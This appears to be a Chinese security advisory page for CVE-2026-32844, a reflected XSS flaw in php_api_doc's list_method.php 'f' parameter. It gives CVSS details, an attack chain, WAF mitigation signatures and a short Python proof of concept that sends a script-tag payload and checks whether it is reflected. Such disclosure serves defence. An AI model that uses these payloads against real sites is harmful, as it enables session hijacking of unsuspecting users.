CVE-2026-32844 CVSS 6.1 中危

CVE-2026-32844 php_api_doc反射型跨站脚本漏洞

披露日期: 2026-03-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-32844

漏洞类型

反射型跨站脚本 (XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

XinLiangCoder php_api_doc

漏洞概述

XinLiangCoder php_api_doc 在commit 1ce5bbf之前的版本中存在反射型跨站脚本漏洞。该漏洞源于`list_method.php`文件未对GET请求中的`f`参数进行适当的安全过滤，直接将其输出到页面中。远程攻击者可利用此漏洞诱导受害者点击恶意链接，从而在受害者浏览器中执行任意JavaScript代码，进而窃取会话凭证或进行恶意操作。

技术细节

该漏洞属于典型的反射型跨站脚本攻击（Reflected XSS）。漏洞触发点位于应用程序的`list_method.php`页面处理逻辑中。当服务器接收到HTTP GET请求时，会提取参数`f`的值，并在未进行任何上下文相关的转义或过滤操作的情况下，将其直接嵌入到响应的HTML源码中返回给客户端。由于应用程序未对用户输入实施严格的输入验证或输出编码，攻击者可以构造包含恶意JavaScript代码的URL（例如：`?f=<script>alert(document.cookie)</script>`）。当受害者被诱导访问此URL时，恶意脚本会被浏览器解析并在当前应用上下文中执行。根据CVSS 3.1向量（CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N），该漏洞攻击复杂度低，无需认证，且具有范围改变（S:C）特性，意味着攻击可能波及应用以外的其他区域，造成低程度的机密性和完整性破坏。攻击者利用这一点，可以在受害者的浏览器中执行任意脚本，进而窃取Session ID、进行钓鱼操作或重定向到恶意网站。

攻击链分析

STEP 1

侦察识别

攻击者确认目标站点使用了存在漏洞的XinLiangCoder php_api_doc组件，且版本在commit 1ce5bbf之前。

STEP 2

构造攻击

攻击者构建包含恶意JavaScript代码的URL，将Payload插入到`list_method.php`的`f`参数中。

STEP 3

诱导投递

攻击者通过电子邮件、即时通讯或社会工程学手段，诱导授权用户点击上述恶意链接。

STEP 4

代码执行

受害者浏览器访问链接，服务器将未过滤的参数反射回HTML，导致浏览器解析并执行恶意脚本。

STEP 5

达成影响

恶意脚本在受害者上下文中运行，窃取Cookie、Session信息或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL configuration
target_url = "http://example.com/list_method.php"

# Malicious payload to test XSS vulnerability
# Using a simple script tag to demonstrate execution
payload = "<script>alert('CVE-2026-32844_XSS_Test');</script>"

# Constructing the malicious GET request
params = {
    "f": payload
}

try:
    response = requests.get(target_url, params=params)
    # Check if the payload is reflected in the response without encoding
    if payload in response.text:
        print("[+] Vulnerability confirmed: Payload reflected in response.")
        print(f"[+] Exploit URL: {response.url}")
    else:
        print("[-] Vulnerability not found or payload encoded.")
except Exception as e:
    print(f"Error: {e}")

影响范围

XinLiangCoder php_api_doc <= commit 1ce5bbf

防御指南

临时缓解措施

在未修复代码前，建议在WAF或反向代理层对`list_method.php`的入站请求进行拦截，检测并阻止包含常见XSS特征（如`<script>`, `javascript:`, `on事件=`）的流量。同时，建议用户提高警惕，不要点击来源不明的链接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表